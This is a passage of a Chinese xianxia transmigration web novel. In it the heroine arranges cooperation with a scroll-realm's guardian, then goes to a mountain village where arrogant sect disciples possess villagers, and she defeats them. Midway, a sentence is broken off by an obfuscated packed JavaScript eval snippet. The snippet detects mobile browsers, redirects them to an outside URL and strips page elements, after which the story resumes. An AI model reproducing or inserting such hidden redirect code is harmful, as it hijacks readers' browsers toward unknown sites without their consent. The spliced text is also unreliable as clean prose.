由于卫池一路都在说话,所以只要出现妖魔鬼怪的身影他们就冲过去一顿打。舞女都还没反应过来,鼎山弟子已经打完。 他们把城外绕了一圈打了一圈,以至于最后舞女都去叫猴子过来领他们去见九游仙姬。 众人兴致勃勃进府,路过一个又一个院子,春夏秋冬的景色全都看遍。 最后来到九游仙姬那个小院,上次卫池突然过来拿走一个卷轴,她本来还有点气,结果这次的鼎山弟子把城外妖魔鬼怪打了个遍。 在这种莫大威慑下,丹青宝卷又能太平一段时间。 于是她也和颜悦色起来,能帮忙的都是客。 齐云鲤先说明缘由:“丹青宝卷既然在鼎山,那就要互帮互助。之前这边的元气帮鼎山制伏蛟,之后就会有鼎山弟子进来降伏城外妖魔鬼怪。” “还有这种好事?”九游仙姬问。 “他们进来以后可能出现各种问题,你要及时解决,”卫池说得很具体,“他们帮丹青宝卷,你就得帮鼎山弟子。这边类似一个秘境,你还要将元气跟他们说清楚,以便他们运用,用得好对丹青宝卷也是帮助。” 元气算是丹青宝卷独有之物,天下其他地方都没这么纯粹。 九游仙姬怀疑地看向一旁,没有直接拒绝。 “蛟是巨蟒变出来的,他知道元气从何而来,既然被痛打势必会报复。”齐云鲤说出威胁。 之前巨蟒在丹青宝卷里翻天覆地,若再次进来,估计要毁天灭地。 九游仙姬神色凝重起来,打妖魔鬼怪已经够费劲。 ——打巨蟒那就是痴人说梦。 “鼎山弟子可以对付巨蟒。”卫池说出解决之道。 齐云鲤顺势说:“他们可以帮忙,不过要有妥善安排。” 九游仙姬还是没说话,只是面色放松不少。 “这是鼎山的意思。”卫池说出关键。 齐云鲤拿出晨练长老和秘境长老的拜帖,九游仙姬拿到手里就听到有人在耳边说出保证。 ——只要丹青宝卷允许鼎山弟子进去修炼,鼎山就可以适当带出部分妖魔鬼怪,以此减轻卷轴压力。 丹青宝卷里的妖魔鬼怪不能铲除,只能安抚。 九游仙姬始终为此烦恼,要杀很简单,要稳就很难。那些妖魔鬼怪不受威胁,无论使出什么手段都无法镇压。 他们什么也不听,只能打来打去。 后来出现云玑子和蒙眼女子的雕像,她们会教妖魔鬼怪一些东西,让他们不止关心身边小事。 天府之国只是帮忙消除烦恼的地方,等他们戾气被化解就能离开。丹青宝卷外才是大好河山,到时候他们想去哪里都行。 知道还能离开丹青宝卷,那些妖魔鬼怪都无比高兴,顿时就听话起来。 九游仙姬曾经觉得这个说法虚无缥缈,只是用来哄小孩的东西,没想到如今鼎山当真准备放他们出去。 困扰多年的烦恼总算有消除希望。 “合作愉快。”她露出笑脸。 见她高兴起来,齐云鲤就趁机请教秘境相关事宜。虽然卫池已经说了一路,但她觉得还是九游仙姬更加专业。 齐云鲤的态度诚恳礼貌,九游仙姬就滔滔不绝起来,反正也不是秘密。 一连串事情顺理成章,似乎万事万物都乖巧听话。 所以众人一起离开丹青宝卷后,齐云鲤觉得时机成熟,就问了一个问题。 “你听说过元真这个名字吗?” 此时她周围只有卫池,因此这个问题就是问他的。 这是一个很简单的问题,简单得答案只有是或者否。 但卫池的反应并不简单。 “——你干什么?!” 他声音有点大,仿佛是要发怒。 虽然回答里没有是或者否,但齐云鲤可以确定卫池知道元真。 ——甚至还认识,不过似乎没有好印象。 他在轮回里,穿书者又不止一人,那么估计会遇见。 由于见过很多次,因此卫池完全没当回事。 上次说出自己的名字,他也是要发火的样子。 莲花座上的“元真”和“齐云鲤”并排在一起,很有可能彼此认识。 齐云鲤知道不能再继续这件事,就转而说起丹青宝卷。 丹青宝卷稀奇古怪,鼎山弟子进去之后说不定会突发什么情况。为了避免发生这种事,还是做好准备比较好。 里面变来变去的环境也许能稳定一点,或者找到什么规律。 卫池听出来这有利于鼎山弟子,所以态度缓和不少。 两人就如何调整丹青宝卷内的环境讨论起来,虽然最后也没确定,但氛围好转不少。 走到一个岔路口,齐云鲤就左转去禁地。 幽冥大帝帮了她好几次,还亲自出来提醒。 石月观音说她还没想起来,那么原本应该认识。 虽然不知道是谁,但看起来关系应该很好。 既是好朋友又是穿书者,那当然要去好好打个招呼。 齐云鲤没有贵重物品,只是从路边摘了几朵花。她在上面施法,那样花朵就不会很快冻僵枯萎。 来到禁地阵法那一带,她放下花朵就开始说起这段时间的事。 之前从未开口,眼下说出来就仿佛理清思路。 自己来到鼎山就被面具人打了一路,他还仿佛越打越有劲,花样百出。 当然同时也在打卫池,就他的轮回经历来看,双方结怨已久。 面具人既然是穿书者,那就应该有自己的 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不过她还是说:“昨晚鼎山弟子的布阵效果不错,让他们化龙怎么样?” “说什么呢?!”冬青瞬间就冒出来,感觉气得不轻,“必须是你!” 她的出现还带起几缕云烟,将房间里弄得烟雾缭绕。 不过齐云鲤早已见怪不怪,并没有大惊失色,只是说:“凡事还是有两手准备比较好,谁也不能保证这条路就一定畅通无阻。” “不是我不想,而是他们不能,”罗白音说明情况,“他们没有对等修为。” 她没否定,但也没有肯定。 ——这种态度其实是件好事。 “我知道他们修为不济,”齐云鲤重点强调,“昨晚的战斗你们都没有亲眼见到,但我就在旁边,因此发现一点东西。” 昨晚地动山摇轰轰烈烈,自然人尽皆知。 不过虽然鼎山弟子说出很多信息,可前面的打斗他们没有见到。 那条蛟和青滔的打斗只有少数几个人看到。 齐云鲤就是其中之一。 “当时一人一蛟谁都没有龙形,不过在打斗时却显出那种势头,”她说着说着就做出手势,仿佛有东西在游动,“在纸上画得再像也只是图,能遨游天地的才是龙。” “——化龙不止化形,还有势。”齐云鲤说。 修道人士将万事万物都画在图谱上,确实可以了解所有形态。 但有些事物不止有形,还有势。 化形再像,没有那个势也还是无法化龙。 或许这就是化龙之人遥遥无期的根源。 “当时他们打在一起,我都彻底看呆。以前听过那么多跟龙有关的传说,没有一个像那样让我震撼。”齐云鲤仔细描述。 “虽然是一人一蛟,但搏斗势头仿佛蛟龙出海,”她形容起来,“所谓神龙见首不见尾,也就是说没人看到真龙全貌。为什么只看到局部也能被震撼?” “因为已经清楚真龙的势头,即使只看到鳞片,也能感受到磅礴气势。那种势头不是有龙形就能有的,”齐云鲤最后说,“没有势就只能化形,有势才能化龙。” 自古以来无数人都想化龙,但没有人成功。 由于真龙已经消失,所以大家都怀疑是不是龙形不够还原。 为了让龙形跟真龙一模一样,专门有修道人士去考证。 在此期间发现埋藏着龙骨的万仞山,于是煅剑城就开始锻造龙骨剑。 不过无论怎么还原,还是没有人能成功化龙。 谁都没有想到化龙不止是化形,还有势。 没有那个势,再像也不是龙。 ——化龙不是化形。 罗白音没有说话,冬青沉默不语,谁都没想到还有这种事。 ——但听起来颇有道理。 由于无法反驳,最后罗白音只能说:“两天以后鼎山弟子要去万仞山,你带徒弟一起去吧。那边有煅剑城的人,他们一直在锻造龙骨剑。” 龙骨剑出自龙骨,龙骨出自真龙,鼎山在做化龙准备。 一听就不简单。 “万仞山太远,还是呆在鼎山吧。”齐云鲤没有下山的打算,马上拒绝。 而且万仞山那地方埋藏着龙骨,谁知道又会发生什么。 万仞山原本叫无根海,是龙的栖息之地。后来真龙消失,水泽之地逐渐堆满山石形成山脉。 不过山脉中又埋着龙骨,对普通人来说那只是石块,可是对修道人士来说那就是不可多得的宝藏。 龙骨并非坚不可摧,其中蕴藏的力量深不可测,天下人对龙骨展开一场争夺战,打得旷日持久。最后鼎山打下那块地方,交给煅剑城锻造龙骨剑。 其他修道人士都能去煅剑城购买龙骨剑,时间一长众人就发现龙骨剑没有特殊功效。 只是较为坚韧的长剑,仅此而已。 世人对龙骨剑失去兴趣,不过煅剑城因此锻造技术突飞猛进,没什么兵器不能打造,很快就富甲天下。 煅剑城因此跟鼎山结为兄弟门派,鼎山一切兵刃皆由煅剑城打造,不过煅剑城的龙骨也需要鼎山弟子过去帮忙挖掘。 “你可以趁机观察鼎山弟子能否化龙。”罗白音说出关键。 原本让鼎山弟子化龙只是随口一说,结果还变成任务。 齐云鲤无话可说,只能接受。 转来转去,结果变成自己挖坑自己跳,她也没办法。 27. 万仞山 平白无故多个任务,齐云鲤也无可奈何。 不过毕竟是自己挖的坑,含着泪也得跳下去,话都已经说出来。 于是她就开始计划去万仞山的人。 万仞山充满龙骨,龙息压迫明显,感觉还是之前去禁地那几个人比较安全。 可是过去找鼎山弟子时,孙仲礼居然中途出现,还说他也要去万仞山。齐云鲤不知道他怎么知道的消息,也不好拒绝,只能同意。 毕竟只要有鼎山长老同行,鼎山弟子去哪里都可以。 回到玄镜池的齐云鲤很困惑,不知道孙仲礼从何得知。 直到从外面回来的卫池说:“是我说的。” 昨天跟他说去万仞山的事,今天他就告诉孙仲礼,她也无话可说。 不过—— “他去万仞山有点危险吧?”齐云鲤思前想后。 ——那是个不到十二岁的小孩。 卫池说:“单独留在鼎山更危险。” ——他已经被面具人盯上。 回想起丹青宝卷里那个鼎山弟子,齐云鲤只能同意。 当然那个叫吴明的人这次也去万仞山,毕竟他都被附身过。 她感觉自己像是带着一群病患出门溜达,压力不免有些大。 ——没想到还有压力更大的事。 这天下午孙峥湖来到玄镜池说:“前阵子有鼎山弟子牺牲,结果龙骨令也消失不见,还需要煅剑城那边再准备一块龙骨令。” 万仞山、煅剑城、龙骨令,还有一群病患,都让人头痛。 孙峥湖是吉凶占卜绝对准确的人,他专门来说这件事,齐云鲤也不好拒绝。 估计还会有什么事,只有鼎山长老才能应对。 ——但关键是万仞山是止水宗出场的地方。 他们把那一带弄得民不聊生,鼎山弟子已经跟他们打过很多次。 但是由于有龙骨就有龙息,有龙息就有人炉,有人炉就有止水宗。 所以止水宗源源不断,还想抢龙骨令。 万一龙骨令是被止水宗抢走,那么绝对会打起来。 事到如今只能提前了解一下那边的情况。 “之前去万仞山发生什么事吗?”齐云鲤忧心忡忡地问。 轮回过很多次的卫池说:“无事发生。” “没有外人出现?”这话骗三岁小孩都不够,齐云鲤不好发火,只能继续问。 卫池知道她在担心什么,不过依然坚持没事。 齐云鲤只好旁敲侧击:“那边龙息鼎盛,环境恶劣,会不会有什么问题?” “鼎山也龙息鼎盛,环境恶劣。”卫池回答。 齐云鲤指出:“鼎山主要是有鼎山弟子……” “他们正要过去。”卫池答得更顺理成章。 齐云鲤突然觉得让鼎山弟子化龙还不如自己化龙,何苦受这个罪。 不过下山时孙仲礼笑得仿佛捡到什么稀世珍宝,也算没有白受罪。 就当是带着小孩出门郊游吧,哪怕有点凶险。 万仞山原本是水泽之地,后来堆满山石也没有让那边草木旺盛,只是长着一些略显憔悴的树木跟野草。 或许那边的龙息压迫对植被来说太过明显,毕竟万仞山的仞就是龙骨。 一上万仞山就会感到强大的龙息压迫,绝不是出门郊游那么简单。 离开鼎山他们使用阵法转移位置,反正都是事先铺好的固定阵法,所有修道人士都能使用。 众人一路转移位置还比较轻松,因此齐云鲤跟孙仲礼从始至终都在说注意事项。龙息压迫、龙骨、煅剑城、万仞山,能说的全都详细说明。 一群人顺利来到万仞山下,山脚有个小村庄。 那一带龙息压迫明显强于别处,因此那里的人最初都是流离失所、无处可去之人。最后在鼎山帮助下才慢慢形成一个小村庄,取名钟灵村。 这里的村民已经习惯龙息压迫,因此没有明显不适。 众人先是见到一个骑着黄牛的牧童,他笑着挥手跟他们打招呼。 然后他们继续走,又见到钟灵村村民,原本村民看到他们很开心,但是下一刻又有点愁眉苦脸。 龙息压迫对他们来说已经习以为常,不知还有什么需要愁苦。 路边大树下有一只大黄狗在叫,树上有一只八哥也在叫,吵个不停。宋安合路过时,说了句别吵,结果大黄狗和八哥一起转身吵他。 村里看起来是刚搞完大扫除,虽然简陋但都打扫得很干净。最干净的是一个院落,那里和村子其他地方完全不是一个风格,一看就很新。 钟灵村也有人上鼎山修道学艺,于是鼎山弟子带着书信去找那名弟子的家人。 众人来到个小院,鼎山弟子将书信交给院子里的人,村民打开信件翻了翻,又请鼎山弟子念一下具体内容。 鼎山弟子念着书信内容,有人从屋里端来大盘子,盘子里装着菊花酒,村民便将菊花酒分给每个鼎山中人。 “这是消灾祈福的吉祥酒,”村民笑呵呵地看着众人饮下,“老天保佑你们平安顺遂。” 菊花酒不醉人,只能算饮料。 他一身破旧的粗布衣服,但胸前还围个围裙,似乎正在忙着什么。 “你这是忙什么?”宋安合询问。 “我只是打下手的,里面炒着菜呢。”村民正说着话,一个瘦小孩童从院外端簸箕进来,里面装着一只杀好的鸡。他跑过去拿起簸箕打量片刻,然后让小孩离开。 小孩乖乖走了,孙仲礼四周张望就转头问:“这么多人是要弄什么大餐?” “唉,三渺宗的要来了。” 村民转身走回厨房,齐云鲤闻言大惊,怎么三渺宗冒出来,不是止水宗吗? 孙仲礼一脸困惑地看向她,她只能问卫池:“之前三渺宗还来过?” “从未出现。”卫池面色有点凝重,像是超出所料。 也就是说既往轮回里,万仞山这边从未出现过三渺宗。 齐云鲤知道不对了。 止水宗没闹事估计另有原因,但三渺宗出现就绝不寻常。 那里虽是名门正派,但人人心高气傲,看不起其他修道人士,更看不起寻常百姓。那些人离开三渺宗都仿佛纡尊降贵,怎么可能来万仞山? 而且仿佛还要在这个村庄吃饭,绝不简单。 背后一定有什么阴谋。 这时远处飘来明显香味,一群香气飘飘的人走进钟灵村。 先是一人在最前面打扫开路,然后才是几个着装精美的青年男女走来。容貌俊秀、光鲜亮丽、仙气飘飘,似乎不为俗世打扰,在他们旁边有人扇风,背后还有人背着行囊。 可是由于有龙息压迫,他们的神情并不轻松,还不如村里的垂髫幼童。 只是四周有人打扫、扇风,让他们倍显愉悦。 居中的女子瞥见这边的鼎山弟子,还露出嫌弃的眼神。 打扫开路的人将路上一丁点粉尘都清理干净,然后将身后之人引进那个新院子。那几个人缓缓走进院子,仿佛天神下凡。 等人都进去,院子门口就挂上一个有桃花印记的帘子。 桃花是桃红色,布帘是白色。 那个桃花印记并非枝头绽放的花朵形状,而是五个花瓣平面铺开围成一圈,中心还是空的,只是有点像花瓣的形状。 齐云鲤感觉有点眼熟,但是想不起来哪里见过。 “那是旁人勿进的意思,他们是专门过来吃饭的。一顿饭就要吃我们几个月口粮,幸亏会付钱。”刚才那个村民走出来看了一眼,又转身回去叫上菜。 那高人一等的模样就是小说里的三渺宗,不过那个帘子从未出现。 齐云鲤咽下一口气才慢慢说:“这么嚣张吗?” “好好的桃花被他们这么一弄,就变得阴涔涔,看得人慎得慌,”一个老太太走进小院,放下几个崭新凳子,“还说桃花图案是桃花依旧笑春风的意思。” “看着仿佛来自阴间。”卫池将几个凳子搬进去,顺便点评。 “那首诗我不会……”孙仲礼小声说。 齐云鲤沉默了,因为这出自一首唐诗。 这边不存在唐诗,也就是说有人把唐诗带过来。 ——问题大得很。 即使知道有不少穿书者,但也没想到还能干出这种事。 能让高高在上的三渺宗接受那个布帘,势必还干了其他事。 目前可疑对象只有面具人,难道还有第二人选? 齐云鲤冥思苦想时,李宜敏问那个老太太之前跟他们学过东西的小孩哪里去了。老太太说他在院子里干活,附近小孩基本都在那里干活。 李宜敏是做为大夫来此的,由于这边有止水宗出没,所以鼎山弟子会跟他们打起来。一打起来就会受伤,因此需要疗伤。 现在不会跟止水宗打,但是出现更可疑的对象。 ——嚣张跋扈的三渺宗,而且貌似还有穿书者。 “要不我们也在此稍作休息吧,赶路也有些累了。”孙仲礼对齐云鲤说。 齐云鲤正想得入神,完全没意见,于是众人便找路边的阴凉地方休息。 鼎山弟子去村庄并不是单纯的娱乐休闲,而是会传授当地村民一些简单知识以及看病问诊。于是在他们休息之处,前来看病的村民络绎不绝。 李宜敏摸脉结束后,先叫陆顷己去附近看看,然后才给村民仔细看病。等看病问诊基本结束,陆顷己才回来,神色有点惴惴不安。 李宜敏跟他交谈完毕,这才走过来跟齐云鲤说:“这里的村民都脉象浮数,却没有表热证。也就是有某种热邪,却没引起症状。万仞山附近没有任何变化。” 齐云鲤不知道她什么意思,环视一圈也没发现任何异常。 但这句话听起来忧虑很深。 李宜敏猜测:“万仞山曾经是无根海,说不定有一场大火把水烧干。” 无根海是龙的汇聚之地,因此一直流传万仞山龙息可以连接古今,也就是方便真龙进出的传说。在这种说法下过去一场大火影响至今,也不是不可能。 不过李宜敏又说:“也有可能是以后。” ——过去和未来的大火都能影响当下。 这神神叨叨的话匪夷所思,却不是空口无凭。 齐云鲤感觉反正有大事发生,无论早晚都会烧起来,而且能影响到这里。 担心一路结果又发现多了个火灾威胁。 她没办法,只好去提醒同行鼎山弟子注意防火。 这地方以前是水泽之地,可现在变得干燥,一旦烧起来估计能烧透整座山。 齐云鲤在那边劝,卫池就在这边问:“这一带草药的性味有没有变化?” 李宜敏转身去路边摘下一片叶子尝了尝,尝完之后神色有点凝重。她叫陆顷己过去尝一下,陆顷己尝完神色更加凝重。 “虽然不多,但性味变了,”李宜敏走过来说,“这把火不可小觑。” 卫池问:“烧得有点多大?” “可能万仞山上下全烧了。”李宜敏说完,陆顷己看起来就有点生无可恋。 能将万仞山上下烧透的火可不是常人能够扑灭的。 万仞山曾是无根海,无根海是龙的汇聚之地。 滔天大火也不知道会烧出来什么。 总不至于真龙还能在烈焰中浴火重生。 “不是无根海,而是万仞山?”卫池又问。 二者区别相当大,一个有龙一个没龙。 “是万仞山,”李宜敏很无奈,然后一顿,“你怎么会问这种事?” 这个问题有点奇怪,没人会计较是海还是山的事。 齐云鲤只好赶紧过来解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035972|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围:“是我让他问的……” ——这个人就不能安分一点? 李宜敏皱眉道:“你问这个干什么?” “如果不是天灾,是人祸呢?”齐云鲤问得更奇怪。 这个青湖师叔一天到晚都稀奇古怪,李宜敏一副看淡生死的模样:“烧成那样反正你也挡不住。” “鼎山挡得住就行,又不是只能单挑。”齐云鲤说得很无所谓。 鼎山弟子不止要化龙,还要救火。 既然都还没发生,那就都做好准备。 李宜敏无话可说,只好过去给村民看病。 四下无人,因此卫池说:“之前没发生过万仞山大火。” 他主动说明此事,证明事关重大。 “也许这次鼎山不会被灭门。”齐云鲤只能宽慰,事情太多她也无可奈何。 她从路边摘下野果,不过没亲口尝,只是看到不远处有孩童在吃。 卫池皱眉道:“不要说玩笑话。” “变数已经出现,或许会变到这里。”齐云鲤抓一把野果,转头就跟孙仲礼说注意事项去。 乱七八糟的事太多,还是转移注意力比较好。 由于孙仲礼是卫池在担心的人,所以他也不好有意见。 孙仲礼开心吃着野果,乖乖听齐云鲤说话,听完只是问:“那止水宗还会出现吗?” 他懵懂无知的模样相当少见,不过说话内容比较麻烦。 齐云鲤如遭雷劈,三渺宗已经很烦,结果还有止水宗。 小说里止水宗是最大的麻烦,三渺宗是恶心的存在。如果又麻烦又恶心,那真是如虎添翼。 要是三渺宗和止水宗齐聚万仞山,那他们还是打起来比较好。 “不知道,小心为上吧,”齐云鲤只能这样回答,然后迅速转移话题,“万仞山上龙息鼎盛,会产生很多灾害。所以鼎山弟子需要上山驻守,以防意外发生,这个你知道吧?” 鼎山弟子去万仞山不止是帮煅剑城,还是帮附近百姓。 孙仲礼点头道:“之前有师兄说过,不过龙息就不能好一点?” 齐云鲤想这种事卫池来说比较好,结果回头发现他还是面色凝重。她正想说点什么,就有人走过来。 “天地成于元气,万物成于天地。”有个年纪更大的老太太杵着拐棍,念念叨叨走来。 一个袖口别着绣花针的妇人扶着她坐下,针上还带着段白线。 “是是是,飞龙在天,云从龙。”妇人掸了掸老太太衣服上的灰尘,用哄小孩的语气说。 三渺宗和村民脉象都让人紧张,这时她们走过来就使现场氛围平静不少。 虽然说话内容不可小觑,但齐云鲤不免松口气。 老太太又说:“我小时候听人说在山里见过龙,虽然只看到一部分,但确实就是龙,龙在山间游走,吞云吐雾。” 万仞山曾是无根海,所以时常有这种传言,常常有七老八十的老人说自己见过真龙。 但无根海变成万仞山已经数百年有余。 不过后来的话算胡说八道,但一开始的话不是。 “天地成于元气,万物成于天地”这是鼎山晨练长老说过的。 眼下竟然有老太太说出口,齐云鲤顿时就觉得不同凡响。 山上山下都有这种说法,也就是说元气并非单独存在于丹青宝卷。 说不定元气跟龙息一样遍地都有。 “这么说来天地万物最初都成于元气,但如今只知龙息,没听说过哪里有元气。”齐云鲤想起九游仙姬的话,又听到这个老太太的话,不禁有点疑惑。 “感觉是跟天地万物一体的,具体是什么也不清楚。”老太太说着说着,就似乎从空中抓到什么东西,在手里玩起来。 空中自然空无一物,但若是论龙息和元气那就不知道有多少。 这里肯定有龙息,说不定也有元气。 龙息被修道人士拔得很高,人炉又因为龙息被止水宗垄断,以至于大家都觉得龙息非同凡响。 不过龙息实际是怎么回事,谁也说不清楚。 也许就像现在这样,能被一个寻常百姓拿在手里玩耍。 “她有点老糊涂,不好意思啊。”妇人轻声说。 “没事,有时候糊涂也未必是件坏事,”齐云鲤弯下腰,指了指一旁的鼎山弟子,“认识他们吗?” 鼎山弟子时常出没这一带,即使个人会轮换,但整体是不变的。 “我初见时还有点害怕,后来才知道不是坏人。”老太太编出什么吹了吹。 齐云鲤似乎真的看到什么飞起来,虽然肉眼不可见。 “听说还有三清龙庭,也不知道是什么,感觉相当厉害。不过九炼洞窟的确存在,那里极其恐怖,不敢多想。”老太太又说一句,不知道回忆起什么。 九炼洞窟在小说里是个阴森诡异之处,相传那里曾是秋容女仙老巢,其他人进去只有死路一条。三清龙庭相传是镇压秋容女仙的地方。 也不知道自己跟秋容女仙有什么关系,齐云鲤不免有点头痛。 老太太仍在一旁念叨:“曾经天下一片祥和,可真龙消失后就每况愈下,仿佛没有活路。” “这个村庄这一带还算好,不用那么灰心丧气。”宋安合低头安慰。 “幸亏你们常来这里,所以还有点希望。” “之后事务繁多,估计会减少来这里的次数,因此大家还是多学习术法之类的东西,以防万一。” 宋安合将几本简单小册子发给村民,看他们什么字不认识,再一个一个教。 一时之间似乎问题也没那么大。 这本是和谐共处的画面,但卫池走过来说:“三渺宗肯定会挑事。” 齐云鲤看他就有点烦,真是哪壶不开提哪壶。 而且这人明显长高,说话就更吓人。 28. 三渺宗 鼎山弟子给钟灵村村民又是看病又是教学,村民听不懂,他们还不断解释。因此越说越多,不过鼎山弟子没有丝毫不耐烦。 虽然之前有三渺宗出现,但也没有破坏村里氛围。 只是其乐融融的画面并没有让齐云鲤掉以轻心。 毕竟之前卫池说三渺宗会挑事,他可是有充分轮回经验,这话十有八九没错。 ——而且笑里藏刀的人最恐怖。 平时没表现出问题,那才是真的问题。 村民在看病间隙闲聊起来,他们主动说起三渺宗和止水宗,还有人炉。 齐云鲤一听就发现不对劲,小说里寻常百姓很避讳这些事,根本不会提。 结果那些人仿佛是在闲话家常,简直就是天壤之别。 三渺宗、止水宗和人炉都是很吓人的东西,谁知现在他们基本没当回事? 齐云鲤靠在栅栏上,感觉要出大事。 这时新院子里走出来两个女子,似乎是在闲聊。 “一开始我也没想到铭祖这么厉害,”那个温柔可爱的人仿佛在惊叹,“之前谁也没把他的话当真,结果居然真如他所料。” 说话之人看起来身姿轻盈,动作翩跹,仿佛一只色彩鲜艳的蝴蝶。 另一个女子像只目光锐利的苍鹰,低头俯视着蝴蝶,轻描淡写地说:“或许这就是世外高人。” 之前眼神嫌弃的三渺宗人就是她。 她们说话有种一唱一和的感觉。 ——仿佛是在演戏。 “你以礼相待才留下他,所以你也厉害!”姜凝夸赞。 谭明诗轻轻一笑:“我因为你才爬上来的,所以也有你的功劳。” “哎呀,我们是朋友,都是应该的。”姜凝有点不好意思。 谭明诗转头说:“有他才有那个布帘,才不会有闲杂人来打搅。” 听到这里,齐云鲤感觉还是听村民闲话家常比较好。 铭祖不知何方神圣,说话那两个感觉都在背台词,似乎好戏就要上演。 这种程度的三渺宗仿佛只是个开头。 想到这里,院子里就传来吵闹声,声音不大,但没完没了。 随后从里面跑出个举止奇怪的村民,身上系着围裙,动作却是另一种风格。 他先是做出施法手势,仿佛要铺设阵法。 结果面前无事发生,他就嫌弃地甩手,接下来看看手脚和身上的衣服,表情更加嫌弃,似乎没有一件称心如意之事。 行为举止跟外表截然不同,那个人身着围裙,按理来说应该是在灶房干活。 卫池看出端倪,冲过去一击,瞬间就有阵法闪出,将什么东西打出来。 然后那个村民身子一斜,陆顷己连忙扶住他。 两人警惕地看着四周,齐云鲤则转头看向外面两个女子。 这是明晃晃的附身,是个修道人士就能发现异常。 外面那两个女子没有明显反应,只是摇了摇头。 接着院子里传来人声,几个三渺宗人走出来,打量一番陆顷己扶住的人。 他们的眼神仿佛是在看墙角一滩烂泥,然后嫌弃地说果然很虚弱,没必要在这种穷乡僻壤浪费时间。 看起来像是三渺宗拿寻常百姓练习附身之术。 齐云鲤听到外面轻笑一声,不知道是那两人中的哪个在笑。 她只觉得相当恶劣,果然有大事,拿普通人做那种事,是个正经修道人士都无法容忍。 前面出来那两个人难道还是评委? 这么说就还有附身效果好坏的标准。 ——标准哪里来的? 院子里跑出几个村民扶住那个人,虽然神情复杂,但也不敢怎么样。 “你们劳苦去吧。”三渺宗人说完就转身离开。 他们似乎已经支付相应报酬,所以无所顾忌。 钟灵村村民看着他们远去也无可奈何。 小说里三渺宗跟男主时常有冲突,双方总能在隐蔽之处碰见,然后打起来。 最开始男主由于忌惮很多,所以经常去人迹罕至之处寻找东西,因此碰见三渺宗,双方就打起来。 之后一旦遇上,三渺宗都不会放过男主,就一直这么打下去,颇有种不死不休的势头。 这是三渺宗在小说里的定位,不过齐云鲤觉得刚才那群人还高攀不起。 虽然纠缠不清,但好歹只打卫池一个,对其他人下手算什么。 她瞥见卫池脸色一变,就知道他要动手。于是马上站起来冲向村外,说她稍后回来。 既然这么讨打,那就不打白不打。 不久后远处山林里闪过一片青光,三渺宗人看见便朝那边兴奋跑去,毕竟大老远的不能白来。 山林里齐云鲤把外套一脱一翻,从头顶披下。她面朝山林内侧靠在一棵大树上。 于是谁也看不到她的脸,不知道她是什么人。 三渺宗人跑进山林,一时找不到青光踪迹,又开始说起话来。 “那些泥腿子稍微学点东西,就有底气冲我们叫唤,不过鼎山就是垃圾。” “叫他闭嘴还不听,非逼我出手。太恶心了,说他穷酸都是高攀。” “到这种破地方吃饭,我是再也做不到。” “还看到几个鼎山的,太不吉利。” ——听到这里,齐云鲤觉得自己还是太过善良。 看不起村民也还常见,看不起鼎山又是什么意思? 又是垃圾又不吉利的,也没见他们花枝招展。 而且到村里吃饭还觉得太过委屈。 只要花了钱就可以为所欲为、无所顾忌? 齐云鲤不再担心接下来的话没人听懂,因此随意开口。 “——此地不是诸位该来之处。”她的声音不大,却很清晰。 青光闪过,三渺宗人才注意到大树旁还站着个人,不过完全看不到脸。 有人大喊:“你是谁,但敢偷听我们说话?!” “一个大活人站在这里,你眼瞎还要怪我?”齐云鲤转过身,外套依然遮住脸,声音相对平常有所变化,“这种深山老林诸位以后还是别来,不然哪天踩空滑倒就不妙。” 一个女声响起:“遮挡面容,莫非是没脸见人?” “万一你们现在不眼瞎,看清我的容貌,自惭形秽、拔剑自刎,那我岂不是还要背上几条人命?”齐云鲤将阴阳怪气运用自如,丝毫不落下风。 “我叫谭明诗,不知阁下尊姓大名。” “这名字没听说过,我的名字你也没听说过。”齐云鲤说得越来越顺口,反正这几个人也打不过她。 谭明诗问:“青光是你放的?” “难道是你放的?”齐云鲤说。 “你想干什么?”旁边有人躁动,被谭明诗压了下去。 齐云鲤走过去一步,隐约透着点凶煞之气:“谁给你们胆子来这里的?” “铭祖说此地非同寻常。”谭明诗强调。 “还有这种称呼?” 谭明诗语气温和:“他说是有要事必须铭记于心,不敢忘怀。” “怎么不叫铭人叫铭祖,说明他只想当祖宗,而且看来你们只会听令行事,”齐云鲤煞有其事叹口气,“三渺宗看起来光鲜亮丽,其实也就这样。这地方挺好,可以风光大葬。” 这话就是货真价实的诅咒。 不过三渺宗那边没人关心,似乎还有更重要的事。 “你是鼎山的?”谭明诗问。 “难道你们还有跟鼎山说得上话的关系?”齐云鲤又靠在树上,“还是回去跟那个铭祖说下次别再来这里挑事,他觉得这里好,难道其他人不知道?这可不是他的地盘。” “铭祖你也敢妄加非议!”刚才躁动的男子大吼出声。 齐云鲤想她不是在对三渺宗妄加非议吗,怎么变成铭祖? 不过想不通就算了,因此她放心大胆地说:“难道你还敢打我?” 原本静谧的山林一时溢出些爆裂之气,不过很快就彻底平息。齐云鲤把外套穿好,又掸掸身上的灰尘,这才慢悠悠走回钟灵村。 三渺宗人七零八落躺在地上,没有人受伤出血,也没有人可以站起来。 钟灵村里,李宜敏在帮那个村民恢复。 这时他刚回过神来,说也不知道怎么回事,突然就不清楚自己在干什么。晕乎乎从院子里走出来,直到被打了一掌才回过神来。 李宜敏说不用担心,只是一时半会儿有点晕。 宋安合叫来村里孩童,跟众人说了些龙息的事,还教小孩一些简单招式。 鼎山弟子一边给村民看病,一边教他们术法知识,还给他们一个唢呐。 说是那个唢呐有鼎山阵法在内,紧急时刻吹响唢呐,他们就会听见,可以在最短时间赶过来。 看到这一幕齐云鲤才真心觉得其乐融融,谁能想到鼎山以外连正常人都罕见。 不过这时耳边又传来几声吵闹。 “你不要总是跟大黄吵架……”陆顷己在劝那只八哥,看起来很为难。 八哥立在树上,开口说出人言:“是他跟我吵,不是我跟他吵。” “它叫几声你别理会就行……”陆顷己继续劝说。 那只八哥吵起来:“那臭狗就会乱叫,什么也不懂!” “他说三渺宗的都是小孩,不用太过在意,这说的是人话吗?当然他本来也不是人,不过三渺宗的算人吗?!” “趾高气昂的,仿佛功德无量、无人可敌,实际只会干害人的事!” 